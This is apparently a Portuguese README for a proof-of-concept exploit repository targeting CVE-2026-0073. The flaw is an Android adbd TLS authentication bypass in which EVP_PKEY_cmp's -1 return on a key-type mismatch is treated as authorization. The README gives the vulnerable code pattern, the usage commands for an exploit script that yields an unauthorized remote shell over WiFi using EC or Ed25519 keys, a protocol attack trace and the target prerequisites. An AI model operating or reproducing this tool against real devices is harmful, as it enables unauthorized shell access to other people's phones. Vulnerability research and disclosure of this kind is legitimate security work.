
CVE-2026-0073 — Bypass de autenticação TLS do daemon ADB do Android (adbd) via confusão de tipos no EVP_PKEY_cmp. Obtenha acesso shell não autorizado via WiFi usando incompatibilidade de chaves EC/Ed25519. Exploit PoC para Android 14+.
EVP_PKEY_cmp() → shell ADB não autorizadoUm bypass crítico de autenticação no daemon ADB do Android (adbd) permite que qualquer atacante na rede local obtenha um shell completo no dispositivo alvo sem autorização do usuário.
A vulnerabilidade existe em adbd_tls_verify_cert() dentro de daemon/auth.cpp, onde EVP_PKEY_cmp() é usado como booleano. Quando a chave armazenada é RSA e o certificado de cliente TLS apresentado carrega uma chave não-RSA (EC P-256 ou Ed25519), EVP_PKEY_cmp() retorna -1 (incompatibilidade de tipo), que é verdadeiro em C/C++, então authorized = true.
// Padrão de código vulnerável em daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 é verdadeiro!
authorized = true;
}
pip install cryptography
# Shell interativo
python adb_tls_auth_bypass.py <IP_ALVO> <PORTA>
# Execução de comando único
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Modo verboso (ver rastreamento completo do protocolo)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Por padrão, o script tenta automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 até que um tenha sucesso.
Atacante Alvo (adbd)
│ │
│──── Conexão TCP ──────────────────►│
│──── CNXN (texto claro) ───────────►│
│◄─── STLS (solicitação de upgrade TLS) ──│
│──── Resposta STLS ────────────────►│
│ │
│════ Handshake TLS 1.3 ════════════│
│ (certificado de cliente EC P-256 apresentado) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 é verdadeiro → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (informações do dispositivo) ──│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (I/O do shell) ────►│
│ │
[ACESSO TOTAL AO SHELL] │
⚠️ Importante: A chave RSA deve estar em
/data/misc/adb/adb_keys, que é preenchida via pareamento de depuração USB (aceitando o diálogo "Permitir depuração USB?"). O pareamento de depuração sem fio (adb pair) armazena chaves em um local diferente (adb_known_hosts.pb) e NÃO satisfaz este requisito.
adb shell getprop ro.build.version.security_patch
Testado e confirmado funcionando em:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Plataforma: Android 14 (Emulador do Android Studio)
Este fork inclui várias melhorias:
select() para suporte multiplataforma-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Script principal do exploit
└── README.md # Este arquivo
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha autorização adequada antes de testar. O autor não assume nenhuma responsabilidade pelo uso indevido deste software.
EVP_PKEY_cmpSe isso ajudou sua pesquisa, deixe uma ⭐
Retorno de EVP_PKEY_cmp() | Significado | Verdadeiro em C? | Resultado |
|---|
1 | Chaves correspondem | ✅ | Autorizado (correto) |
0 | Chaves diferem | ❌ | Rejeitado (correto) |
-1 | Incompatibilidade de tipo | ✅ | Autorizado (BUG) |
| Requisito |
|---|
| Detalhes |
|---|
| Opções do desenvolvedor | Habilitadas no dispositivo alvo |
| Depuração sem fio | Habilitada (ou ADB sobre TCP na porta 5555) |
| Chave RSA armazenada | O dispositivo deve ter sido pareado via USB pelo menos uma vez (/data/misc/adb/adb_keys) |
| Acesso à rede | O atacante deve alcançar a porta TCP do adbd |